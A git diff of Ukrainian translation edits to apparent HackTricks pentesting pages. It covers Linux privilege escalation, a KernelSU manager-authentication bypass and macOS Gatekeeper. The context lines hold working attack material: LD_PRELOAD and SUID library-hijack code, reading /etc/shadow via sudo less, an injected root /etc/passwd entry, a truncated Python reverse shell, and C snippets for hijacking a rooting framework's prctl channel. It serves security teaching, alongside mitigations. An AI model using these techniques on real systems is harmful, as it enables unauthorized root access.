(netstat -punta || ss --ntpu) | grep "127.0"
|
||||
@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
|
||||
```
|
||||
### Big UID
|
||||
|
||||
Деякі версії Linux були піддані впливу помилки, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) і [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
Деякі версії Linux були піддані впливу помилки, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) та [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**Використайте**: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
### Обхід шляхів виконання Sudo
|
||||
|
||||
**Перейдіть** до читання інших файлів або використовуйте **символьні посилання**. Наприклад, у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
**Перейдіть** для читання інших файлів або використовуйте **символьні посилання**. Наприклад, у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
```bash
|
||||
sudo less /var/logs/anything
|
||||
less>:e /etc/shadow #Jump to read other files using privileged less
|
||||
@ -769,7 +769,7 @@ sudo less
|
||||
|
||||
### SUID бінар з шляхом до команди
|
||||
|
||||
Якщо **suid** бінар **виконує іншу команду, вказуючи шлях**, тоді ви можете спробувати **експортувати функцію**, названу так само, як команда, яку викликає файл suid.
|
||||
Якщо **suid** бінар **виконує іншу команду, вказуючи шлях**, тоді ви можете спробувати **експортувати функцію**, названу так само, як команда, яку викликає suid файл.
|
||||
|
||||
Наприклад, якщо suid бінар викликає _**/usr/sbin/service apache2 start**_, вам потрібно спробувати створити функцію та експортувати її:
|
||||
```bash
|
||||
@ -814,7 +814,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Схожий privesc може бути зловжито, якщо атакуючий контролює змінну середовища **LD_LIBRARY_PATH**, оскільки він контролює шлях, де будуть шукатися бібліотеки.
|
||||
> Схожий privesc може бути зловжито, якщо зловмисник контролює змінну середовища **LD_LIBRARY_PATH**, оскільки він контролює шлях, за яким будуть шукатися бібліотеки.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -840,7 +840,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
Наприклад, виникнення помилки, такої як _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_, вказує на потенціал для експлуатації.
|
||||
Наприклад, виникнення помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенціал для експлуатації.
|
||||
|
||||
Щоб експлуатувати це, потрібно створити C файл, скажімо _"/path/to/.config/libcalc.c"_, що міститиме наступний код:
|
||||
```c
|
||||
@ -861,7 +861,7 @@ gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
|
||||
```
|
||||
Нарешті, виконання ураженого SUID бінарного файлу має активувати експлойт, що дозволяє потенційне компрометування системи.
|
||||
|
||||
## Shared Object Hijacking
|
||||
## Викрадення спільних об'єктів
|
||||
```bash
|
||||
# Lets find a SUID using a non-standard library
|
||||
ldd some_suid
|
||||
@ -939,7 +939,7 @@ sudo su
|
||||
bash exploit_v2.sh
|
||||
/tmp/sh -p
|
||||
```
|
||||
- Третій експлойт (`exploit_v3.sh`) створить файл sudoers, який робить токени sudo вічними та дозволяє всім користувачам використовувати sudo.
|
||||
- Третій експлойт (`exploit_v3.sh`) створить файл sudoers, який робить токени sudo вічними і дозволяє всім користувачам використовувати sudo.
|
||||
```bash
|
||||
bash exploit_v3.sh
|
||||
sudo su
|
||||
@ -953,7 +953,7 @@ sudo su
|
||||
```
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
Файл `/etc/sudoers` та файли всередині `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можуть бути прочитані лише користувачем root та групою root**.\
|
||||
Файл `/etc/sudoers` та файли в `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можуть бути прочитані лише користувачем root та групою root**.\
|
||||
**Якщо** ви можете **прочитати** цей файл, ви можете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл, ви зможете **підвищити привілеї**.
|
||||
```bash
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
@ -998,13 +998,13 @@ zsh
|
||||
echo $PATH
|
||||
sudo ls
|
||||
```
|
||||
## Спільна бібліотека
|
||||
## Shared Library
|
||||
|
||||
### ld.so
|
||||
|
||||
Файл `/etc/ld.so.conf` вказує **звідки завантажуються конфігураційні файли**. Зазвичай, цей файл містить наступний шлях: `include /etc/ld.so.conf.d/*.conf`
|
||||
|
||||
Це означає, що конфігураційні файли з `/etc/ld.so.conf.d/*.conf` будуть прочитані. Ці конфігураційні файли **вказують на інші папки**, де **бібліотеки** будуть **шукатися**. Наприклад, вміст файлу `/etc/ld.so.conf.d/libc.conf` є `/usr/local/lib`. **Це означає, що система буде шукати бібліотеки всередині `/usr/local/lib`**.
|
||||
Це означає, що конфігураційні файли з `/etc/ld.so.conf.d/*.conf` будуть прочитані. Ці конфігураційні файли **вказують на інші папки**, де **бібліотеки** будуть **шукатися**. Наприклад, вміст `/etc/ld.so.conf.d/libc.conf` є `/usr/local/lib`. **Це означає, що система буде шукати бібліотеки всередині `/usr/local/lib`**.
|
||||
|
||||
Якщо з якоїсь причини **користувач має права на запис** на будь-який з вказаних шляхів: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, будь-який файл всередині `/etc/ld.so.conf.d/` або будь-яка папка в конфігураційному файлі всередині `/etc/ld.so.conf.d/*.conf`, він може мати можливість підвищити привілеї.\
|
||||
Ознайомтеся з **тим, як експлуатувати цю неправильну конфігурацію** на наступній сторінці:
|
||||
@ -1060,9 +1060,9 @@ linux-capabilities.md
|
||||
У директорії **біт для "виконання"** означає, що користувач може "**cd**" у папку.\
|
||||
**Біт "читання"** означає, що користувач може **переглядати** **файли**, а **біт "запису"** означає, що користувач може **видаляти** та **створювати** нові **файли**.
|
||||
|
||||
## ACLs
|
||||
## ACL
|
||||
|
||||
Списки контролю доступу (ACLs) представляють собою вторинний рівень дискреційних дозволів, здатний **перезаписувати традиційні дозволи ugo/rwx**. Ці дозволи покращують контроль над доступом до файлів або директорій, дозволяючи або заважаючи права конкретним користувачам, які не є власниками або частиною групи. Цей рівень **досконалості забезпечує більш точне управління доступом**. Додаткові деталі можна знайти [**тут**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
Списки контролю доступу (ACL) представляють собою вторинний рівень дискреційних дозволів, здатний **перекривати традиційні дозволи ugo/rwx**. Ці дозволи покращують контроль над доступом до файлів або директорій, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або частиною групи. Цей рівень **деталізації забезпечує більш точне управління доступом**. Додаткові деталі можна знайти [**тут**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Надайте** користувачу "kali" права на читання та запис над файлом:
|
||||
```bash
|
||||
@ -1095,9 +1095,9 @@ screen -dr <session> #The -d is to detach whoever is attached to it
|
||||
screen -dr 3350.foo #In the example of the image
|
||||
screen -x [user]/[session id]
|
||||
```
|
||||
## tmux сесії захоплення
|
||||
## tmux сесії хакінгу
|
||||
|
||||
Це була проблема з **старими версіями tmux**. Я не зміг захопити сесію tmux (v2.1), створену root, як неприваблений користувач.
|
||||
Це була проблема з **старими версіями tmux**. Я не зміг захопити сесію tmux (v2.1), створену root, будучи неправавленим користувачем.
|
||||
|
||||
**Список сесій tmux**
|
||||
```bash
|
||||
@ -1124,7 +1124,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
|
||||
Всі SSL та SSH ключі, згенеровані на системах на базі Debian (Ubuntu, Kubuntu тощо) між вереснем 2006 року та 13 травня 2008 року, можуть бути під впливом цього багу.\
|
||||
Цей баг виникає при створенні нового ssh ключа в цих ОС, оскільки **було можливих лише 32,768 варіацій**. Це означає, що всі можливості можуть бути обчислені, і **маючи ssh публічний ключ, ви можете шукати відповідний приватний ключ**. Ви можете знайти обчислені можливості тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
Цей баг виникає під час створення нового ssh ключа в цих ОС, оскільки **було можливих лише 32,768 варіацій**. Це означає, що всі можливості можуть бути обчислені, і **маючи ssh публічний ключ, ви можете шукати відповідний приватний ключ**. Ви можете знайти обчислені можливості тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH Цікаві конфігураційні значення
|
||||
|
||||
@ -1161,7 +1161,7 @@ ForwardAgent yes
|
||||
Зверніть увагу, що якщо `Host` дорівнює `*`, щоразу, коли користувач переходить на іншу машину, цей хост зможе отримати доступ до ключів (що є проблемою безпеки).
|
||||
|
||||
Файл `/etc/ssh_config` може **перезаписати** ці **опції** та дозволити або заборонити цю конфігурацію.\
|
||||
Файл `/etc/sshd_config` може **дозволити** або **заборонити** пересилання ssh-agent за допомогою ключового слова `AllowAgentForwarding` (за замовчуванням дозволено).
|
||||
Файл `/etc/sshd_config` може **дозволити** або **заборонити** пересилання ssh-агента за допомогою ключового слова `AllowAgentForwarding` (за замовчуванням дозволено).
|
||||
|
||||
Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки **ви можете зловживати цим для ескалації привілеїв**:
|
||||
|
||||
@ -1204,7 +1204,7 @@ python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
|
||||
```
|
||||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||||
```
|
||||
Наприклад: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
|
||||
Тепер ви можете використовувати команду `su` з `hacker:hacker`
|
||||
|
||||
@ -1313,7 +1313,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
### Generic Creds Search/Regex
|
||||
|
||||
Вам також слід перевірити файли, що містять слово "**password**" у **назві** або всередині **вмісту**, а також перевірити IP-адреси та електронні адреси в логах або регулярні вирази для хешів.\
|
||||
Я не буду перераховувати тут, як це все зробити, але якщо вас це цікавить, ви можете перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
|
||||
Я не буду перераховувати тут, як це все зробити, але якщо вас цікавить, ви можете перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
|
||||
|
||||
## Writable files
|
||||
|
||||
@ -1342,7 +1342,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
|
||||
**Посилання на уразливість:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
Якщо з якоїсь причини користувач може **записати** скрипт `ifcf-<whatever>` у _/etc/sysconfig/network-scripts_ **або** може **відредагувати** існуючий, то ваша **система зламано**.
|
||||
Якщо з якоїсь причини користувач може **записати** скрипт `ifcf-<whatever>` у _/etc/sysconfig/network-scripts_ **або** може **відкоригувати** існуючий, то ваша **система зламано**.
|
||||
|
||||
Мережеві скрипти, наприклад, _ifcg-eth0_ використовуються для мережевих з'єднань. Вони виглядають точно так само, як .INI файли. Однак вони \~підключаються\~ на Linux через Network Manager (dispatcher.d).
|
||||
|
||||
@ -1354,13 +1354,13 @@ NAME=Network /bin/id
|
||||
ONBOOT=yes
|
||||
DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd та rc.d**
|
||||
### **init, init.d, systemd, та rc.d**
|
||||
|
||||
Директорія `/etc/init.d` є домом для **скриптів** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Вона містить скрипти для `start`, `stop`, `restart` та іноді `reload` сервісів. Ці скрипти можуть виконуватись безпосередньо або через символічні посилання, знайдені в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat - це `/etc/rc.d/init.d`.
|
||||
Директорія `/etc/init.d` є домом для **скриптів** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Вона містить скрипти для `start`, `stop`, `restart`, а іноді `reload` сервісів. Ці скрипти можуть виконуватись безпосередньо або через символічні посилання, знайдені в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat - це `/etc/rc.d/init.d`.
|
||||
|
||||
З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою **системою управління сервісами**, введеною Ubuntu, яка використовує конфігураційні файли для завдань управління сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються разом з конфігураціями Upstart через сумісний шар в Upstart.
|
||||
З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою **системою управління сервісами**, введеною Ubuntu, яка використовує конфігураційні файли для завдань управління сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються разом з конфігураціями Upstart через шар сумісності в Upstart.
|
||||
|
||||
**systemd** виникає як сучасний менеджер ініціалізації та сервісів, пропонуючи розширені функції, такі як запуск демонів за запитом, управління автоматичним монтуванням та знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для дистрибутивних пакетів та `/etc/systemd/system/` для модифікацій адміністратора, спрощуючи процес адміністрування системи.
|
||||
**systemd** виступає як сучасний менеджер ініціалізації та сервісів, пропонуючи розширені функції, такі як запуск демонів за запитом, управління автоматичним монтуванням та знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для дистрибутивних пакетів та `/etc/systemd/system/` для модифікацій адміністратора, спрощуючи процес адміністрування системи.
|
||||
|
||||
## Інші трюки
|
||||
|
||||
|
||||
@ -2,14 +2,14 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Фрейми для рутування, такі як KernelSU, APatch, SKRoot та Magisk, часто патчать ядро Linux/Android і відкривають привілейовану функціональність для непривабливого користувацького "менеджера" через підключений syscall. Якщо крок аутентифікації менеджера має недоліки, будь-який локальний додаток може отримати доступ до цього каналу та підвищити привілеї на вже рутованих пристроях.
|
||||
Фреймворки рутування, такі як KernelSU, APatch, SKRoot та Magisk, часто патчать ядро Linux/Android і надають привілейовану функціональність для непривабливого користувацького "менеджера" через підключений syscall. Якщо крок аутентифікації менеджера має недоліки, будь-який локальний додаток може отримати доступ до цього каналу та підвищити привілеї на вже рутованих пристроях.
|
||||
|
||||
Ця сторінка узагальнює техніки та підводні камені, виявлені в публічних дослідженнях (зокрема, аналіз Zimperium v0.5.7) для допомоги як червоним, так і синім командам у розумінні поверхонь атаки, примітивів експлуатації та надійних заходів пом'якшення.
|
||||
Ця сторінка узагальнює техніки та підводні камені, виявлені в публічних дослідженнях (зокрема, аналіз Zimperium v0.5.7) для допомоги як червоним, так і синім командам у розумінні атакуючих поверхонь, примітивів експлуатації та надійних заходів пом'якшення.
|
||||
|
||||
---
|
||||
## Архітектурний шаблон: syscall-підключений канал менеджера
|
||||
|
||||
- Ядровий модуль/патч підключає syscall (зазвичай prctl) для отримання "команд" з користувацького простору.
|
||||
- Ядровий модуль/патч підключає syscall (зазвичай prctl), щоб отримувати "команди" з користувацького простору.
|
||||
- Протокол зазвичай виглядає так: magic_value, command_id, arg_ptr/len ...
|
||||
- Користувацький додаток менеджера спочатку проходить аутентифікацію (наприклад, CMD_BECOME_MANAGER). Як тільки ядро позначає виклик як довірений менеджер, приймаються привілейовані команди:
|
||||
- Надати root виклику (наприклад, CMD_GRANT_ROOT)
|
||||
@ -47,7 +47,7 @@
|
||||
---
|
||||
## Клас вразливості: довіра до "першого відповідного APK" з ітерації FD
|
||||
|
||||
Якщо перевірка підпису прив'язується до "першого відповідного /data/app/*/base.apk", знайденого в таблиці FD процесу, насправді вона не перевіряє власний пакет виклику. Зловмисник може попередньо розмістити легітимно підписаний APK (справжнього менеджера) так, щоб він з'являвся раніше в списку FD, ніж їх власний base.apk.
|
||||
Якщо перевірка підпису прив'язується до "першого відповідного /data/app/*/base.apk", знайденого в таблиці FD процесу, насправді не перевіряється власний пакет виклику. Зловмисник може попередньо розмістити легітимно підписаний APK (справжнього менеджера), щоб він з'являвся раніше в списку FD, ніж їх власний base.apk.
|
||||
|
||||
Ця довіра через непрямий зв'язок дозволяє непривабливому додатку видавати себе за менеджера, не володіючи ключем підпису менеджера.
|
||||
|
||||
@ -59,9 +59,9 @@
|
||||
---
|
||||
## Передумови атаки
|
||||
|
||||
- Пристрій вже рутовано з вразливим фреймом для рутування (наприклад, KernelSU v0.5.7).
|
||||
- Пристрій вже рутовано з вразливим фреймворком рутування (наприклад, KernelSU v0.5.7).
|
||||
- Зловмисник може виконувати довільний непривабливий код локально (процес Android-додатку).
|
||||
- Справжній менеджер ще не пройшов аутентифікацію (наприклад, відразу після перезавантаження). Деякі фрейми кешують UID менеджера після успіху; ви повинні виграти гонку.
|
||||
- Справжній менеджер ще не пройшов аутентифікацію (наприклад, відразу після перезавантаження). Деякі фреймворки кешують UID менеджера після успіху; ви повинні виграти гонку.
|
||||
|
||||
---
|
||||
## Контур експлуатації (KernelSU v0.5.7)
|
||||
@ -72,10 +72,10 @@
|
||||
3) Викличте prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) для проходження перевірок.
|
||||
4) Видавайте привілейовані команди, такі як CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY для збереження підвищення.
|
||||
|
||||
Практичні зауваження щодо кроку 2 (порядок FD):
|
||||
Практичні нотатки щодо кроку 2 (порядок FD):
|
||||
- Визначте FD вашого процесу для вашого власного /data/app/*/base.apk, пройшовши через символьні посилання /proc/self/fd.
|
||||
- Закрийте низький FD (наприклад, stdin, fd 0) і спочатку відкрийте легітимний APK менеджера, щоб він займав fd 0 (або будь-який індекс нижчий за ваш власний base.apk fd).
|
||||
- Упакуйте легітимний APK менеджера з вашим додатком, щоб його шлях задовольняв наївний фільтр ядра. Наприклад, розмістіть його під підшляхом, що відповідає /data/app/*/base.apk.
|
||||
- Упакуйте легітимний APK менеджера з вашим додатком, щоб його шлях задовольняв наївному фільтру ядра. Наприклад, розмістіть його під підшляхом, що відповідає /data/app/*/base.apk.
|
||||
|
||||
Приклад фрагментів коду (Android/Linux, ілюстративно лише):
|
||||
|
||||
@ -119,7 +119,7 @@ int fd = open(legit_apk_path, O_RDONLY);
|
||||
(void)fd; // fd should now be 0 if available
|
||||
}
|
||||
```
|
||||
Менеджер аутентифікації через prctl хук:
|
||||
Аутентифікація менеджера через prctl hook:
|
||||
```c
|
||||
#include <sys/prctl.h>
|
||||
#include <stdint.h>
|
||||
@ -142,7 +142,7 @@ return (int)result;
|
||||
Після успіху, команди з привілегіями (приклади):
|
||||
- CMD_GRANT_ROOT: підвищити поточний процес до root
|
||||
- CMD_ALLOW_SU: додати ваш пакет/UID до списку дозволених для постійного su
|
||||
- CMD_SET_SEPOLICY: налаштувати політику SELinux відповідно до підтримки фреймворку
|
||||
- CMD_SET_SEPOLICY: налаштувати політику SELinux відповідно до можливостей фреймворку
|
||||
|
||||
Порада щодо гонки/постійності:
|
||||
- Зареєструйте приймач BOOT_COMPLETED в AndroidManifest (RECEIVE_BOOT_COMPLETED), щоб запуститися рано після перезавантаження та спробувати аутентифікацію до реального менеджера.
|
||||
@ -151,27 +151,27 @@ return (int)result;
|
||||
## Рекомендації щодо виявлення та пом'якшення
|
||||
|
||||
Для розробників фреймворків:
|
||||
- Прив'язати аутентифікацію до пакета/UID виклику, а не до довільних FD:
|
||||
- Визначити пакет виклику за його UID та перевірити його підпис проти встановленого пакета (через PackageManager), а не скануючи FD.
|
||||
- Прив'язуйте аутентифікацію до пакета/UID виклику, а не до довільних FD:
|
||||
- Визначте пакет виклику за його UID та перевірте його підпис проти підпису встановленого пакета (через PackageManager), а не скануючи FD.
|
||||
- Якщо тільки ядро, використовуйте стабільну ідентичність виклику (task creds) та перевіряйте на стабільному джерелі правди, керованому init/userspace helper, а не процесами FD.
|
||||
- Уникайте перевірок префіксів шляху як ідентичності; їх легко задовольнити викликом.
|
||||
- Використовуйте засновану на nonce перевірку-відповідь через канал та очищайте будь-яку кешовану ідентичність менеджера при завантаженні або на ключових подіях.
|
||||
- Використовуйте засновану на nonce систему викликів-відповідей через канал та очищайте будь-яку кешовану ідентичність менеджера при завантаженні або на ключових подіях.
|
||||
- Розгляньте аутентифікований IPC на основі binder замість перевантаження загальних системних викликів, коли це можливо.
|
||||
|
||||
Для захисників/синьої команди:
|
||||
- Виявляйте наявність фреймворків для рутування та процесів менеджера; моніторте виклики prctl з підозрілими магічними константами (наприклад, 0xDEADBEEF), якщо у вас є телеметрія ядра.
|
||||
- На керованих флотах, блокуйте або сповіщайте про приймачі завантаження з ненадійних пакетів, які швидко намагаються виконати команди менеджера з привілегіями після завантаження.
|
||||
- На керованих флотах блокуйте або сповіщайте про приймачі завантаження з ненадійних пакетів, які швидко намагаються виконати команди менеджера з привілегіями після завантаження.
|
||||
- Переконайтеся, що пристрої оновлені до виправлених версій фреймворку; анулюйте кешовані ID менеджера при оновленні.
|
||||
|
||||
Обмеження атаки:
|
||||
- Торкається лише пристроїв, які вже рутовані з вразливим фреймворком.
|
||||
- Впливає лише на пристрої, які вже рутовані з вразливим фреймворком.
|
||||
- Зазвичай вимагає перезавантаження/вікно гонки перед тим, як легітимний менеджер аутентифікується (деякі фреймворки кешують UID менеджера до скидання).
|
||||
|
||||
---
|
||||
## Пов'язані нотатки по фреймворках
|
||||
|
||||
- Аутентифікація на основі паролів (наприклад, історичні версії APatch/SKRoot) може бути слабкою, якщо паролі можна вгадати/зламати або перевірки мають помилки.
|
||||
- Аутентифікація на основі пакета/підпису (наприклад, KernelSU) є сильнішою в принципі, але повинна бути прив'язана до фактичного виклику, а не до непрямих артефактів, таких як сканування FD.
|
||||
- Аутентифікація на основі пакета/підпису (наприклад, KernelSU) є принципово більш сильною, але повинна бути прив'язана до фактичного виклику, а не до непрямих артефактів, таких як сканування FD.
|
||||
- Magisk: CVE-2024-48336 (MagiskEoP) показав, що навіть зрілі екосистеми можуть бути вразливими до підробки ідентичності, що призводить до виконання коду з root в контексті менеджера.
|
||||
|
||||
---
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
Ключовий механізм Gatekeeper полягає в її **процесі перевірки**. Вона перевіряє, чи є завантажене програмне забезпечення **підписаним визнаним розробником**, що забезпечує автентичність програмного забезпечення. Крім того, вона визначає, чи є програмне забезпечення **нотаризованим Apple**, підтверджуючи, що воно не містить відомого шкідливого вмісту і не було змінено після нотаризації.
|
||||
|
||||
Додатково, Gatekeeper зміцнює контроль користувача та безпеку, **запитуючи користувачів підтвердити відкриття** завантаженого програмного забезпечення вперше. Ця запобіжна міра допомагає запобігти випадковому запуску користувачами потенційно шкідливого виконуваного коду, який вони могли помилково прийняти за безпечний файл даних.
|
||||
Додатково, Gatekeeper зміцнює контроль і безпеку користувача, **запитуючи користувачів підтвердити відкриття** завантаженого програмного забезпечення вперше. Ця запобіжна міра допомагає запобігти випадковому запуску користувачами потенційно шкідливого виконуваного коду, який вони могли помилково прийняти за безпечний файл даних.
|
||||
|
||||
### Application Signatures
|
||||
|
||||
@ -18,7 +18,7 @@
|
||||
|
||||
1. **Підписання додатку:** Коли розробник готовий розповсюдити свій додаток, він **підписує додаток за допомогою приватного ключа**. Цей приватний ключ пов'язаний з **сертифікатом, який Apple видає розробнику** під час його реєстрації в програмі Apple Developer Program. Процес підписання включає створення криптографічного хешу всіх частин додатку та шифрування цього хешу за допомогою приватного ключа розробника.
|
||||
2. **Розповсюдження додатку:** Підписаний додаток потім розповсюджується користувачам разом із сертифікатом розробника, який містить відповідний публічний ключ.
|
||||
3. **Перевірка додатку:** Коли користувач завантажує та намагається запустити додаток, його операційна система Mac використовує публічний ключ з сертифіката розробника для розшифрування хешу. Потім вона перераховує хеш на основі поточного стану додатку та порівнює його з розшифрованим хешем. Якщо вони збігаються, це означає, що **додаток не був змінений** з моменту його підписання розробником, і система дозволяє запуск додатку.
|
||||
3. **Перевірка додатку:** Коли користувач завантажує та намагається запустити додаток, його операційна система Mac використовує публічний ключ з сертифіката розробника для розшифрування хешу. Потім вона повторно обчислює хеш на основі поточного стану додатку та порівнює його з розшифрованим хешем. Якщо вони збігаються, це означає, що **додаток не був змінений** з моменту підписання розробником, і система дозволяє запуск додатку.
|
||||
|
||||
Підписи додатків є важливою частиною технології Gatekeeper Apple. Коли користувач намагається **відкрити додаток, завантажений з інтернету**, Gatekeeper перевіряє підпис додатку. Якщо він підписаний сертифікатом, виданим Apple відомому розробнику, і код не був змінений, Gatekeeper дозволяє запуск додатку. В іншому випадку, він блокує додаток і сповіщає користувача.
|
||||
|
||||
@ -45,11 +45,11 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
### Нотаризація
|
||||
|
||||
Процес нотаризації Apple слугує додатковим захистом для користувачів від потенційно шкідливого програмного забезпечення. Він передбачає **подання розробником свого додатку на перевірку** до **Служби нотаризації Apple**, яку не слід плутати з перевіркою додатків. Ця служба є **автоматизованою системою**, яка ретельно перевіряє подане програмне забезпечення на наявність **шкідливого контенту** та будь-яких потенційних проблем з підписуванням коду.
|
||||
Процес нотаризації Apple слугує додатковим захистом для користувачів від потенційно шкідливого програмного забезпечення. Він передбачає, що **розробник подає свою програму на перевірку** до **Служби нотаризації Apple**, яку не слід плутати з перевіркою додатків. Ця служба є **автоматизованою системою**, яка ретельно перевіряє подане програмне забезпечення на наявність **шкідливого контенту** та будь-яких потенційних проблем з підписуванням коду.
|
||||
|
||||
Якщо програмне забезпечення **проходить** цю перевірку без жодних зауважень, Служба нотаризації генерує квиток нотаризації. Розробник зобов'язаний **додати цей квиток до свого програмного забезпечення**, процес, відомий як 'стаплінг'. Крім того, квиток нотаризації також публікується в Інтернеті, де Gatekeeper, технологія безпеки Apple, може отримати до нього доступ.
|
||||
|
||||
Під час першої установки або виконання програмного забезпечення користувачем, наявність квитка нотаризації - чи то прикріпленого до виконуваного файлу, чи знайденого в Інтернеті - **інформує Gatekeeper, що програмне забезпечення було нотаризовано Apple**. В результаті Gatekeeper відображає описове повідомлення в початковому діалоговому вікні запуску, вказуючи на те, що програмне забезпечення пройшло перевірку на наявність шкідливого контенту від Apple. Цей процес таким чином підвищує довіру користувачів до безпеки програмного забезпечення, яке вони встановлюють або запускають на своїх системах.
|
||||
Під час першої установки або виконання програмного забезпечення користувачем, наявність квитка нотаризації - чи то прикріпленого до виконуваного файлу, чи знайденого в Інтернеті - **інформує Gatekeeper, що програмне забезпечення було нотаризовано Apple**. В результаті Gatekeeper відображає описове повідомлення в початковому діалоговому вікні запуску, вказуючи на те, що програмне забезпечення пройшло перевірки на наявність шкідливого контенту від Apple. Цей процес таким чином підвищує довіру користувачів до безпеки програмного забезпечення, яке вони встановлюють або запускають на своїх системах.
|
||||
|
||||
### spctl & syspolicyd
|
||||
|
||||
@ -68,7 +68,7 @@ GateKeeper перевірить, чи може бінарний файл бут
|
||||
|
||||
<figure><img src="../../../images/image (1150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`syspolicyd`** є основним демон, відповідальним за забезпечення Gatekeeper. Він підтримує базу даних, розташовану в `/var/db/SystemPolicy`, і ви можете знайти код для підтримки [бази даних тут](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) та [SQL шаблон тут](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Зверніть увагу, що база даних не обмежена SIP і доступна для запису root, а база даних `/var/db/.SystemPolicy-default` використовується як оригінальна резервна копія на випадок, якщо інша буде пошкоджена.
|
||||
**`syspolicyd`** є основним демон, відповідальним за забезпечення роботи Gatekeeper. Він підтримує базу даних, розташовану в `/var/db/SystemPolicy`, і ви можете знайти код для підтримки [бази даних тут](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) та [SQL шаблон тут](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Зверніть увагу, що база даних не обмежена SIP і доступна для запису root, а база даних `/var/db/.SystemPolicy-default` використовується як оригінальна резервна копія на випадок, якщо інша буде пошкоджена.
|
||||
|
||||
Більше того, пакети **`/var/db/gke.bundle`** та **`/var/db/gkopaque.bundle`** містять файли з правилами, які вставляються в базу даних. Ви можете перевірити цю базу даних як root за допомогою:
|
||||
```bash
|
||||
